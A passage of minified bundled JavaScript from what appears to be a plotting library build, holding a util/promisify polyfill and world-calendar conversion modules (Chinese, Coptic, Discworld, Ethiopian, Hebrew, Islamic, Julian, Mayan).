`))):Y=J.stylize("[Circular]","special")),p(V)){if(W&&X.match(/^\d+$/))return Y;V=JSON.stringify(""+X),V.match(/^"([a-zA-Z_][a-zA-Z_0-9]*)"$/)?(V=V.slice(1,-1),V=J.stylize(V,"name")):(V=V.replace(/'/g,"\\'").replace(/\\"/g,'"').replace(/(^"|"$)/g,"'"),V=J.stylize(V,"string"))}return V+": "+Y}function c(J,q,ne){var fe=J.reduce(function(X,W){return W.indexOf(`
`)>=0,X+W.replace(/\u001b\[\d\d?m/g,"").length+1},0);return fe>60?ne[0]+(q===""?"":q+`
 `)+" "+J.join(`,
  `)+" "+ne[1]:ne[0]+q+" "+J.join(", ")+" "+ne[1]}Z.types=e(4936);function b(J){return Array.isArray(J)}Z.isArray=b;function h(J){return typeof J=="boolean"}Z.isBoolean=h;function i(J){return J===null}Z.isNull=i;function v(J){return J==null}Z.isNullOrUndefined=v;function T(J){return typeof J=="number"}Z.isNumber=T;function w(J){return typeof J=="string"}Z.isString=w;function E(J){return typeof J=="symbol"}Z.isSymbol=E;function p(J){return J===void 0}Z.isUndefined=p;function A(J){return m(J)&&k(J)==="[object RegExp]"}Z.isRegExp=A,Z.types.isRegExp=A;function m(J){return typeof J=="object"&&J!==null}Z.isObject=m;function n(J){return m(J)&&k(J)==="[object Date]"}Z.isDate=n,Z.types.isDate=n;function C(J){return m(J)&&(k(J)==="[object Error]"||J instanceof Error)}Z.isError=C,Z.types.isNativeError=C;function x(J){return typeof J=="function"}Z.isFunction=x;function I(J){return J===null||typeof J=="boolean"||typeof J=="number"||typeof J=="string"||typeof J=="symbol"||typeof J>"u"}Z.isPrimitive=I,Z.isBuffer=e(45920);function k(J){return Object.prototype.toString.call(J)}function B(J){return J<10?"0"+J.toString(10):J.toString(10)}var _=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"];function F(){var J=new Date,q=[B(J.getHours()),B(J.getMinutes()),B(J.getSeconds())].join(":");return[J.getDate(),_[J.getMonth()],q].join(" ")}Z.log=function(){console.log("%s - %s",F(),Z.format.apply(Z,arguments))},Z.inherits=e(42018),Z._extend=function(J,q){if(!q||!m(q))return J;for(var ne=Object.keys(q),fe=ne.length;fe--;)J[ne[fe]]=q[ne[fe]];return J};function O(J,q){return Object.prototype.hasOwnProperty.call(J,q)}var z=typeof Symbol<"u"?Symbol("util.promisify.custom"):void 0;Z.promisify=function(q){if(typeof q!="function")throw new TypeError('The "original" argument must be of type Function');if(z&&q[z]){var ne=q[z];if(typeof ne!="function")throw new TypeError('The "util.promisify.custom" argument must be of type Function');return Object.defineProperty(ne,z,{value:ne,enumerable:!1,writable:!1,configurable:!0}),ne}function ne(){for(var fe,X,W=new Promise(function(Q,ie){fe=Q,X=ie}),V=[],Y=0;Y<arguments.length;Y++)V.push(arguments[Y]);V.push(function(Q,ie){Q?X(Q):fe(ie)});try{q.apply(this,V)}catch(Q){X(Q)}return W}return Object.setPrototypeOf(ne,Object.getPrototypeOf(q)),z&&Object.defineProperty(ne,z,{value:ne,enumerable:!1,writable:!1,configurable:!0}),Object.defineProperties(ne,P(q))},Z.promisify.custom=z;function N(J,q){if(!J){var ne=new Error("Promise was rejected with a falsy value");ne.reason=J,J=ne}return q(J)}function G(J){if(typeof J!="function")throw new TypeError('The "original" argument must be of type Function');function q(){for(var ne=[],fe=0;fe<arguments.length;fe++)ne.push(arguments[fe]);var X=ne.pop();if(typeof X!="function")throw new TypeError("The last argument must be of type Function");var W=this,V=function(){return X.apply(W,arguments)};J.apply(this,ne).then(function(Y){M.nextTick(V.bind(null,null,Y))},function(Y){M.nextTick(N.bind(null,Y,V))})}return Object.setPrototypeOf(q,Object.getPrototypeOf(J)),Object.defineProperties(q,P(J)),q}Z.callbackify=G},40372:function(te,Z,e){var M=e(86249);te.exports=function(o){return M("webgl",o)}},21099:function(te,Z,e){var M=e(31353),P=e(72077),o=e(6614),L=e(40383),S=o("Object.prototype.toString"),d=e(84543)(),g=typeof globalThis>"u"?e.g:globalThis,t=P(),r=o("String.prototype.slice"),f={},a=Object.getPrototypeOf;d&&L&&a&&M(t,function(s){if(typeof g[s]=="function"){var y=new g[s];if(Symbol.toStringTag in y){var c=a(y),b=L(c,Symbol.toStringTag);if(!b){var h=a(c);b=L(h,Symbol.toStringTag)}f[s]=b.get}}});var l=function(y){var c=!1;return M(f,function(b,h){if(!c)try{var i=b.call(y);i===h&&(c=i)}catch{}}),c},u=e(9187);te.exports=function(y){return u(y)?!d||!(Symbol.toStringTag in y)?r(S(y),8,-1):l(y):!1}},3961:function(te,Z,e){var M=e(63489),P=e(56131),o=M.instance();function L(u){this.local=this.regionalOptions[u||""]||this.regionalOptions[""]}L.prototype=new M.baseCalendar,P(L.prototype,{name:"Chinese",jdEpoch:17214255e-1,hasYearZero:!1,minMonth:0,firstMonth:0,minDay:1,regionalOptions:{"":{name:"Chinese",epochs:["BEC","EC"],monthNumbers:function(u,s){if(typeof u=="string"){var y=u.match(d);return y?y[0]:""}var c=this._validateYear(u),b=u.month(),h=""+this.toChineseMonth(c,b);return s&&h.length<2&&(h="0"+h),this.isIntercalaryMonth(c,b)&&(h+="i"),h},monthNames:function(u){if(typeof u=="string"){var s=u.match(g);return s?s[0]:""}var y=this._validateYear(u),c=u.month(),b=this.toChineseMonth(y,c),h=["一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"][b-1];return this.isIntercalaryMonth(y,c)&&(h="闰"+h),h},monthNamesShort:function(u){if(typeof u=="string"){var s=u.match(t);return s?s[0]:""}var y=this._validateYear(u),c=u.month(),b=this.toChineseMonth(y,c),h=["一","二","三","四","五","六","七","八","九","十","十一","十二"][b-1];return this.isIntercalaryMonth(y,c)&&(h="闰"+h),h},parseMonth:function(u,s){u=this._validateYear(u);var y=parseInt(s),c;if(isNaN(y))s[0]==="闰"&&(c=!0,s=s.substring(1)),s[s.length-1]==="月"&&(s=s.substring(0,s.length-1)),y=1+["一","二","三","四","五","六","七","八","九","十","十一","十二"].indexOf(s);else{var b=s[s.length-1];c=b==="i"||b==="I"}var h=this.toMonthIndex(u,y,c);return h},dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],digits:null,dateFormat:"yyyy/mm/dd",firstDay:1,isRTL:!1}},_validateYear:function(u,s){if(u.year&&(u=u.year()),typeof u!="number"||u<1888||u>2111)throw s.replace(/\{0\}/,this.local.name);return u},toMonthIndex:function(u,s,y){var c=this.intercalaryMonth(u),b=y&&s!==c;if(b||s<1||s>12)throw M.local.invalidMonth.replace(/\{0\}/,this.local.name);var h;return c?!y&&s<=c?h=s-1:h=s:h=s-1,h},toChineseMonth:function(u,s){u.year&&(u=u.year(),s=u.month());var y=this.intercalaryMonth(u),c=y?12:11;if(s<0||s>c)throw M.local.invalidMonth.replace(/\{0\}/,this.local.name);var b;return y?s<y?b=s+1:b=s:b=s+1,b},intercalaryMonth:function(u){u=this._validateYear(u);var s=r[u-r[0]],y=s>>13;return y},isIntercalaryMonth:function(u,s){u.year&&(u=u.year(),s=u.month());var y=this.intercalaryMonth(u);return!!y&&y===s},leapYear:function(u){return this.intercalaryMonth(u)!==0},weekOfYear:function(u,s,y){var c=this._validateYear(u,M.local.invalidyear),b=f[c-f[0]],h=b>>9&4095,i=b>>5&15,v=b&31,T;T=o.newDate(h,i,v),T.add(4-(T.dayOfWeek()||7),"d");var w=this.toJD(u,s,y)-T.toJD();return 1+Math.floor(w/7)},monthsInYear:function(u){return this.leapYear(u)?13:12},daysInMonth:function(u,s){u.year&&(s=u.month(),u=u.year()),u=this._validateYear(u);var y=r[u-r[0]],c=y>>13,b=c?12:11;if(s>b)throw M.local.invalidMonth.replace(/\{0\}/,this.local.name);var h=y&1<<12-s?30:29;return h},weekDay:function(u,s,y){return(this.dayOfWeek(u,s,y)||7)<6},toJD:function(u,s,y){var c=this._validate(u,h,y,M.local.invalidDate);u=this._validateYear(c.year()),s=c.month(),y=c.day();var b=this.isIntercalaryMonth(u,s),h=this.toChineseMonth(u,s),i=l(u,h,y,b);return o.toJD(i.year,i.month,i.day)},fromJD:function(u){var s=o.fromJD(u),y=a(s.year(),s.month(),s.day()),c=this.toMonthIndex(y.year,y.month,y.isIntercalary);return this.newDate(y.year,c,y.day)},fromString:function(u){var s=u.match(S),y=this._validateYear(+s[1]),c=+s[2],b=!!s[3],h=this.toMonthIndex(y,c,b),i=+s[4];return this.newDate(y,h,i)},add:function(u,s,y){var c=u.year(),b=u.month(),h=this.isIntercalaryMonth(c,b),i=this.toChineseMonth(c,b),v=Object.getPrototypeOf(L.prototype).add.call(this,u,s,y);if(y==="y"){var T=v.year(),w=v.month(),E=this.isIntercalaryMonth(T,i),p=h&&E?this.toMonthIndex(T,i,!0):this.toMonthIndex(T,i,!1);p!==w&&v.month(p)}return v}});var S=/^\s*(-?\d\d\d\d|\d\d)[-/](\d?\d)([iI]?)[-/](\d?\d)/m,d=/^\d?\d[iI]?/m,g=/^闰?十?[一二三四五六七八九]?月/m,t=/^闰?十?[一二三四五六七八九]?/m;M.calendars.chinese=L;var r=[1887,5780,5802,19157,2742,50359,1198,2646,46378,7466,3412,30122,5482,67949,2396,5294,43597,6732,6954,36181,2772,4954,18781,2396,54427,5274,6730,47781,5800,6868,21210,4790,59703,2350,5270,46667,3402,3496,38325,1388,4782,18735,2350,52374,6804,7498,44457,2906,1388,29294,4700,63789,6442,6804,56138,5802,2772,38235,1210,4698,22827,5418,63125,3476,5802,43701,2484,5302,27223,2646,70954,7466,3412,54698,5482,2412,38062,5294,2636,32038,6954,60245,2772,4826,43357,2394,5274,39501,6730,72357,5800,5844,53978,4790,2358,38039,5270,87627,3402,3496,54708,5484,4782,43311,2350,3222,27978,7498,68965,2904,5484,45677,4700,6444,39573,6804,6986,19285,2772,62811,1210,4698,47403,5418,5780,38570,5546,76469,2420,5302,51799,2646,5414,36501,3412,5546,18869,2412,54446,5276,6732,48422,6822,2900,28010,4826,92509,2394,5274,55883,6730,6820,47956,5812,2778,18779,2358,62615,5270,5450,46757,3492,5556,27318,4718,67887,2350,3222,52554,7498,3428,38252,5468,4700,31022,6444,64149,6804,6986,43861,2772,5338,35421,2650,70955,5418,5780,54954,5546,2740,38074,5302,2646,29991,3366,61011,3412,5546,43445,2412,5294,35406,6732,72998,6820,6996,52586,2778,2396,38045,5274,6698,23333,6820,64338,5812,2746,43355,2358,5270,39499,5450,79525,3492,5548],f=[1887,966732,967231,967733,968265,968766,969297,969798,970298,970829,971330,971830,972362,972863,973395,973896,974397,974928,975428,975929,976461,976962,977462,977994,978494,979026,979526,980026,980558,981059,981559,982091,982593,983124,983624,984124,984656,985157,985656,986189,986690,987191,987722,988222,988753,989254,989754,990286,990788,991288,991819,992319,992851,993352,993851,994383,994885,995385,995917,996418,996918,997450,997949,998481,998982,999483,1000014,1000515,1001016,1001548,1002047,1002578,1003080,1003580,1004111,1004613,1005113,1005645,1006146,1006645,1007177,1007678,1008209,1008710,1009211,1009743,1010243,1010743,1011275,1011775,1012306,1012807,1013308,1013840,1014341,1014841,1015373,1015874,1016404,1016905,1017405,1017937,1018438,1018939,1019471,1019972,1020471,1021002,1021503,1022035,1022535,1023036,1023568,1024069,1024568,1025100,1025601,1026102,1026633,1027133,1027666,1028167,1028666,1029198,1029699,1030199,1030730,1031231,1031763,1032264,1032764,1033296,1033797,1034297,1034828,1035329,1035830,1036362,1036861,1037393,1037894,1038394,1038925,1039427,1039927,1040459,1040959,1041491,1041992,1042492,1043023,1043524,1044024,1044556,1045057,1045558,1046090,1046590,1047121,1047622,1048122,1048654,1049154,1049655,1050187,1050689,1051219,1051720,1052220,1052751,1053252,1053752,1054284,1054786,1055285,1055817,1056317,1056849,1057349,1057850,1058382,1058883,1059383,1059915,1060415,1060947,1061447,1061947,1062479,1062981,1063480,1064012,1064514,1065014,1065545,1066045,1066577,1067078,1067578,1068110,1068611,1069112,1069642,1070142,1070674,1071175,1071675,1072207,1072709,1073209,1073740,1074241,1074741,1075273,1075773,1076305,1076807,1077308,1077839,1078340,1078840,1079372,1079871,1080403,1080904];function a(u,s,y,c){var b,h;if(typeof u=="object")b=u,h=s||{};else{var i=typeof u=="number"&&u>=1888&&u<=2111;if(!i)throw new Error("Solar year outside range 1888-2111");var v=typeof s=="number"&&s>=1&&s<=12;if(!v)throw new Error("Solar month outside range 1 - 12");var T=typeof y=="number"&&y>=1&&y<=31;if(!T)throw new Error("Solar day outside range 1 - 31");b={year:u,month:s,day:y},h={}}var w=f[b.year-f[0]],E=b.year<<9|b.month<<5|b.day;h.year=E>=w?b.year:b.year-1,w=f[h.year-f[0]];var p=w>>9&4095,A=w>>5&15,m=w&31,n,C=new Date(p,A-1,m),x=new Date(b.year,b.month-1,b.day);n=Math.round((x-C)/864e5);var I=r[h.year-r[0]],k;for(k=0;k<13;k++){var B=I&1<<12-k?30:29;if(n<B)break;n-=B}var _=I>>13;return!_||k<_?(h.isIntercalary=!1,h.month=1+k):k===_?(h.isIntercalary=!0,h.month=k):(h.isIntercalary=!1,h.month=k),h.day=1+n,h}function l(u,s,y,c,b){var h,i;if(typeof u=="object")i=u,h=s||{};else{var v=typeof u=="number"&&u>=1888&&u<=2111;if(!v)throw new Error("Lunar year outside range 1888-2111");var T=typeof s=="number"&&s>=1&&s<=12;if(!T)throw new Error("Lunar month outside range 1 - 12");var w=typeof y=="number"&&y>=1&&y<=30;if(!w)throw new Error("Lunar day outside range 1 - 30");var E;typeof c=="object"?(E=!1,h=c):(E=!!c,h={}),i={year:u,month:s,day:y,isIntercalary:E}}var p;p=i.day-1;var A=r[i.year-r[0]],m=A>>13,n;m&&(i.month>m||i.isIntercalary)?n=i.month:n=i.month-1;for(var C=0;C<n;C++){var x=A&1<<12-C?30:29;p+=x}var I=f[i.year-f[0]],k=I>>9&4095,B=I>>5&15,_=I&31,F=new Date(k,B-1,_+p);return h.year=F.getFullYear(),h.month=1+F.getMonth(),h.day=F.getDate(),h}},38751:function(te,Z,e){var M=e(63489),P=e(56131);function o(L){this.local=this.regionalOptions[L||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Coptic",jdEpoch:18250295e-1,daysPerMonth:[30,30,30,30,30,30,30,30,30,30,30,30,5],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Coptic",epochs:["BAM","AM"],monthNames:["Thout","Paopi","Hathor","Koiak","Tobi","Meshir","Paremhat","Paremoude","Pashons","Paoni","Epip","Mesori","Pi Kogi Enavot"],monthNamesShort:["Tho","Pao","Hath","Koi","Tob","Mesh","Pat","Pad","Pash","Pao","Epi","Meso","PiK"],dayNames:["Tkyriaka","Pesnau","Pshoment","Peftoou","Ptiou","Psoou","Psabbaton"],dayNamesShort:["Tky","Pes","Psh","Pef","Pti","Pso","Psa"],dayNamesMin:["Tk","Pes","Psh","Pef","Pt","Pso","Psa"],digits:null,dateFormat:"dd/mm/yyyy",firstDay:0,isRTL:!1}},leapYear:function(d){var S=this._validate(d,this.minMonth,this.minDay,M.local.invalidYear),d=S.year()+(S.year()<0?1:0);return d%4===3||d%4===-1},monthsInYear:function(L){return this._validate(L,this.minMonth,this.minDay,M.local.invalidYear||M.regionalOptions[""].invalidYear),13},weekOfYear:function(L,S,d){var g=this.newDate(L,S,d);return g.add(-g.dayOfWeek(),"d"),Math.floor((g.dayOfYear()-1)/7)+1},daysInMonth:function(L,S){var d=this._validate(L,S,this.minDay,M.local.invalidMonth);return this.daysPerMonth[d.month()-1]+(d.month()===13&&this.leapYear(d.year())?1:0)},weekDay:function(L,S,d){return(this.dayOfWeek(L,S,d)||7)<6},toJD:function(L,S,d){var g=this._validate(L,S,d,M.local.invalidDate);return L=g.year(),L<0&&L++,g.day()+(g.month()-1)*30+(L-1)*365+Math.floor(L/4)+this.jdEpoch-1},fromJD:function(L){var S=Math.floor(L)+.5-this.jdEpoch,d=Math.floor((S-Math.floor((S+366)/1461))/365)+1;d<=0&&d--,S=Math.floor(L)+.5-this.newDate(d,1,1).toJD();var g=Math.floor(S/30)+1,t=S-(g-1)*30+1;return this.newDate(d,g,t)}}),M.calendars.coptic=o},86825:function(te,Z,e){var M=e(63489),P=e(56131);function o(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Discworld",jdEpoch:17214255e-1,daysPerMonth:[16,32,32,32,32,32,32,32,32,32,32,32,32],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Discworld",epochs:["BUC","UC"],monthNames:["Ick","Offle","February","March","April","May","June","Grune","August","Spune","Sektober","Ember","December"],monthNamesShort:["Ick","Off","Feb","Mar","Apr","May","Jun","Gru","Aug","Spu","Sek","Emb","Dec"],dayNames:["Sunday","Octeday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Oct","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Oc","Mo","Tu","We","Th","Fr","Sa"],digits:null,dateFormat:"yyyy/mm/dd",firstDay:2,isRTL:!1}},leapYear:function(S){return this._validate(S,this.minMonth,this.minDay,M.local.invalidYear),!1},monthsInYear:function(S){return this._validate(S,this.minMonth,this.minDay,M.local.invalidYear),13},daysInYear:function(S){return this._validate(S,this.minMonth,this.minDay,M.local.invalidYear),400},weekOfYear:function(S,d,g){var t=this.newDate(S,d,g);return t.add(-t.dayOfWeek(),"d"),Math.floor((t.dayOfYear()-1)/8)+1},daysInMonth:function(S,d){var g=this._validate(S,d,this.minDay,M.local.invalidMonth);return this.daysPerMonth[g.month()-1]},daysInWeek:function(){return 8},dayOfWeek:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate);return(t.day()+1)%8},weekDay:function(S,d,g){var t=this.dayOfWeek(S,d,g);return t>=2&&t<=6},extraInfo:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate);return{century:L[Math.floor((t.year()-1)/100)+1]||""}},toJD:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate);return S=t.year()+(t.year()<0?1:0),d=t.month(),g=t.day(),g+(d>1?16:0)+(d>2?(d-2)*32:0)+(S-1)*400+this.jdEpoch-1},fromJD:function(S){S=Math.floor(S+.5)-Math.floor(this.jdEpoch)-1;var d=Math.floor(S/400)+1;S-=(d-1)*400,S+=S>15?16:0;var g=Math.floor(S/32)+1,t=S-(g-1)*32+1;return this.newDate(d<=0?d-1:d,g,t)}});var L={20:"Fruitbat",21:"Anchovy"};M.calendars.discworld=o},37715:function(te,Z,e){var M=e(63489),P=e(56131);function o(L){this.local=this.regionalOptions[L||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Ethiopian",jdEpoch:17242205e-1,daysPerMonth:[30,30,30,30,30,30,30,30,30,30,30,30,5],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Ethiopian",epochs:["BEE","EE"],monthNames:["Meskerem","Tikemet","Hidar","Tahesas","Tir","Yekatit","Megabit","Miazia","Genbot","Sene","Hamle","Nehase","Pagume"],monthNamesShort:["Mes","Tik","Hid","Tah","Tir","Yek","Meg","Mia","Gen","Sen","Ham","Neh","Pag"],dayNames:["Ehud","Segno","Maksegno","Irob","Hamus","Arb","Kidame"],dayNamesShort:["Ehu","Seg","Mak","Iro","Ham","Arb","Kid"],dayNamesMin:["Eh","Se","Ma","Ir","Ha","Ar","Ki"],digits:null,dateFormat:"dd/mm/yyyy",firstDay:0,isRTL:!1}},leapYear:function(d){var S=this._validate(d,this.minMonth,this.minDay,M.local.invalidYear),d=S.year()+(S.year()<0?1:0);return d%4===3||d%4===-1},monthsInYear:function(L){return this._validate(L,this.minMonth,this.minDay,M.local.invalidYear||M.regionalOptions[""].invalidYear),13},weekOfYear:function(L,S,d){var g=this.newDate(L,S,d);return g.add(-g.dayOfWeek(),"d"),Math.floor((g.dayOfYear()-1)/7)+1},daysInMonth:function(L,S){var d=this._validate(L,S,this.minDay,M.local.invalidMonth);return this.daysPerMonth[d.month()-1]+(d.month()===13&&this.leapYear(d.year())?1:0)},weekDay:function(L,S,d){return(this.dayOfWeek(L,S,d)||7)<6},toJD:function(L,S,d){var g=this._validate(L,S,d,M.local.invalidDate);return L=g.year(),L<0&&L++,g.day()+(g.month()-1)*30+(L-1)*365+Math.floor(L/4)+this.jdEpoch-1},fromJD:function(L){var S=Math.floor(L)+.5-this.jdEpoch,d=Math.floor((S-Math.floor((S+366)/1461))/365)+1;d<=0&&d--,S=Math.floor(L)+.5-this.newDate(d,1,1).toJD();var g=Math.floor(S/30)+1,t=S-(g-1)*30+1;return this.newDate(d,g,t)}}),M.calendars.ethiopian=o},99384:function(te,Z,e){var M=e(63489),P=e(56131);function o(S){this.local=this.regionalOptions[S||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Hebrew",jdEpoch:347995.5,daysPerMonth:[30,29,30,29,30,29,30,29,30,29,30,29,29],hasYearZero:!1,minMonth:1,firstMonth:7,minDay:1,regionalOptions:{"":{name:"Hebrew",epochs:["BAM","AM"],monthNames:["Nisan","Iyar","Sivan","Tammuz","Av","Elul","Tishrei","Cheshvan","Kislev","Tevet","Shevat","Adar","Adar II"],monthNamesShort:["Nis","Iya","Siv","Tam","Av","Elu","Tis","Che","Kis","Tev","She","Ada","Ad2"],dayNames:["Yom Rishon","Yom Sheni","Yom Shlishi","Yom Revi'i","Yom Chamishi","Yom Shishi","Yom Shabbat"],dayNamesShort:["Ris","She","Shl","Rev","Cha","Shi","Sha"],dayNamesMin:["Ri","She","Shl","Re","Ch","Shi","Sha"],digits:null,dateFormat:"dd/mm/yyyy",firstDay:0,isRTL:!1}},leapYear:function(S){var d=this._validate(S,this.minMonth,this.minDay,M.local.invalidYear);return this._leapYear(d.year())},_leapYear:function(S){return S=S<0?S+1:S,L(S*7+1,19)<7},monthsInYear:function(S){return this._validate(S,this.minMonth,this.minDay,M.local.invalidYear),this._leapYear(S.year?S.year():S)?13:12},weekOfYear:function(S,d,g){var t=this.newDate(S,d,g);return t.add(-t.dayOfWeek(),"d"),Math.floor((t.dayOfYear()-1)/7)+1},daysInYear:function(S){var d=this._validate(S,this.minMonth,this.minDay,M.local.invalidYear);return S=d.year(),this.toJD(S===-1?1:S+1,7,1)-this.toJD(S,7,1)},daysInMonth:function(S,d){return S.year&&(d=S.month(),S=S.year()),this._validate(S,d,this.minDay,M.local.invalidMonth),d===12&&this.leapYear(S)||d===8&&L(this.daysInYear(S),10)===5?30:d===9&&L(this.daysInYear(S),10)===3?29:this.daysPerMonth[d-1]},weekDay:function(S,d,g){return this.dayOfWeek(S,d,g)!==6},extraInfo:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate);return{yearType:(this.leapYear(t)?"embolismic":"common")+" "+["deficient","regular","complete"][this.daysInYear(t)%10-3]}},toJD:function(S,d,g){var t=this._validate(S,d,g,M.local.invalidDate);S=t.year(),d=t.month(),g=t.day();var r=S<=0?S+1:S,f=this.jdEpoch+this._delay1(r)+this._delay2(r)+g+1;if(d<7){for(var a=7;a<=this.monthsInYear(S);a++)f+=this.daysInMonth(S,a);for(var a=1;a<d;a++)f+=this.daysInMonth(S,a)}else for(var a=7;a<d;a++)f+=this.daysInMonth(S,a);return f},_delay1:function(S){var d=Math.floor((235*S-234)/19),g=12084+13753*d,t=d*29+Math.floor(g/25920);return L(3*(t+1),7)<3&&t++,t},_delay2:function(S){var d=this._delay1(S-1),g=this._delay1(S),t=this._delay1(S+1);return t-g===356?2:g-d===382?1:0},fromJD:function(S){S=Math.floor(S)+.5;for(var d=Math.floor((S-this.jdEpoch)*98496/35975351)-1;S>=this.toJD(d===-1?1:d+1,7,1);)d++;for(var g=S<this.toJD(d,1,1)?7:1;S>this.toJD(d,g,this.daysInMonth(d,g));)g++;var t=S-this.toJD(d,g,1)+1;return this.newDate(d,g,t)}});function L(S,d){return S-d*Math.floor(S/d)}M.calendars.hebrew=o},43805:function(te,Z,e){var M=e(63489),P=e(56131);function o(L){this.local=this.regionalOptions[L||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Islamic",jdEpoch:19484395e-1,daysPerMonth:[30,29,30,29,30,29,30,29,30,29,30,29],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Islamic",epochs:["BH","AH"],monthNames:["Muharram","Safar","Rabi' al-awwal","Rabi' al-thani","Jumada al-awwal","Jumada al-thani","Rajab","Sha'aban","Ramadan","Shawwal","Dhu al-Qi'dah","Dhu al-Hijjah"],monthNamesShort:["Muh","Saf","Rab1","Rab2","Jum1","Jum2","Raj","Sha'","Ram","Shaw","DhuQ","DhuH"],dayNames:["Yawm al-ahad","Yawm al-ithnayn","Yawm ath-thulaathaa'","Yawm al-arbi'aa'","Yawm al-khamīs","Yawm al-jum'a","Yawm as-sabt"],dayNamesShort:["Aha","Ith","Thu","Arb","Kha","Jum","Sab"],dayNamesMin:["Ah","It","Th","Ar","Kh","Ju","Sa"],digits:null,dateFormat:"yyyy/mm/dd",firstDay:6,isRTL:!1}},leapYear:function(L){var S=this._validate(L,this.minMonth,this.minDay,M.local.invalidYear);return(S.year()*11+14)%30<11},weekOfYear:function(L,S,d){var g=this.newDate(L,S,d);return g.add(-g.dayOfWeek(),"d"),Math.floor((g.dayOfYear()-1)/7)+1},daysInYear:function(L){return this.leapYear(L)?355:354},daysInMonth:function(L,S){var d=this._validate(L,S,this.minDay,M.local.invalidMonth);return this.daysPerMonth[d.month()-1]+(d.month()===12&&this.leapYear(d.year())?1:0)},weekDay:function(L,S,d){return this.dayOfWeek(L,S,d)!==5},toJD:function(L,S,d){var g=this._validate(L,S,d,M.local.invalidDate);return L=g.year(),S=g.month(),d=g.day(),L=L<=0?L+1:L,d+Math.ceil(29.5*(S-1))+(L-1)*354+Math.floor((3+11*L)/30)+this.jdEpoch-1},fromJD:function(L){L=Math.floor(L)+.5;var S=Math.floor((30*(L-this.jdEpoch)+10646)/10631);S=S<=0?S-1:S;var d=Math.min(12,Math.ceil((L-29-this.toJD(S,1,1))/29.5)+1),g=L-this.toJD(S,d,1)+1;return this.newDate(S,d,g)}}),M.calendars.islamic=o},88874:function(te,Z,e){var M=e(63489),P=e(56131);function o(L){this.local=this.regionalOptions[L||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Julian",jdEpoch:17214235e-1,daysPerMonth:[31,28,31,30,31,30,31,31,30,31,30,31],hasYearZero:!1,minMonth:1,firstMonth:1,minDay:1,regionalOptions:{"":{name:"Julian",epochs:["BC","AD"],monthNames:["January","February","March","April","May","June","July","August","September","October","November","December"],monthNamesShort:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],dayNames:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],dayNamesShort:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],dayNamesMin:["Su","Mo","Tu","We","Th","Fr","Sa"],digits:null,dateFormat:"mm/dd/yyyy",firstDay:0,isRTL:!1}},leapYear:function(d){var S=this._validate(d,this.minMonth,this.minDay,M.local.invalidYear),d=S.year()<0?S.year()+1:S.year();return d%4===0},weekOfYear:function(L,S,d){var g=this.newDate(L,S,d);return g.add(4-(g.dayOfWeek()||7),"d"),Math.floor((g.dayOfYear()-1)/7)+1},daysInMonth:function(L,S){var d=this._validate(L,S,this.minDay,M.local.invalidMonth);return this.daysPerMonth[d.month()-1]+(d.month()===2&&this.leapYear(d.year())?1:0)},weekDay:function(L,S,d){return(this.dayOfWeek(L,S,d)||7)<6},toJD:function(L,S,d){var g=this._validate(L,S,d,M.local.invalidDate);return L=g.year(),S=g.month(),d=g.day(),L<0&&L++,S<=2&&(L--,S+=12),Math.floor(365.25*(L+4716))+Math.floor(30.6001*(S+1))+d-1524.5},fromJD:function(L){var S=Math.floor(L+.5),d=S+1524,g=Math.floor((d-122.1)/365.25),t=Math.floor(365.25*g),r=Math.floor((d-t)/30.6001),f=r-Math.floor(r<14?1:13),a=g-Math.floor(f>2?4716:4715),l=d-t-Math.floor(30.6001*r);return a<=0&&a--,this.newDate(a,f,l)}}),M.calendars.julian=o},83290:function(te,Z,e){var M=e(63489),P=e(56131);function o(d){this.local=this.regionalOptions[d||""]||this.regionalOptions[""]}o.prototype=new M.baseCalendar,P(o.prototype,{name:"Mayan",jdEpoch:584282.5,hasYearZero:!0,minMonth:0,firstMonth:0,minDay:0,regionalOptions:{"":{name:"Mayan",epochs:["",""],monthNames:["0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17"],monthNamesShort:["0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17"],dayNames:["0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19"],dayNamesShort:["0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19"],dayNamesMin:["0","1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19"],digits:null,dateFormat:"YYYY.m.d",firstDay:0,isRTL:!1,haabMonths:["Pop","Uo","Zip","Zotz","Tzec","Xul","Yaxkin","Mol","Chen","Yax","Zac","Ceh","Mac","Kankin","Muan","Pax","Kayab","Cumku","Uayeb"],tzolkinMonths:["Imix","Ik","Akbal","Kan","Chicchan","Cimi","Manik","Lamat","Muluc","Oc","Chuen","Eb","Ben","Ix","Men","Cib","Caban","Etznab","Cauac","Ahau"]}},leapYear:function(d){return 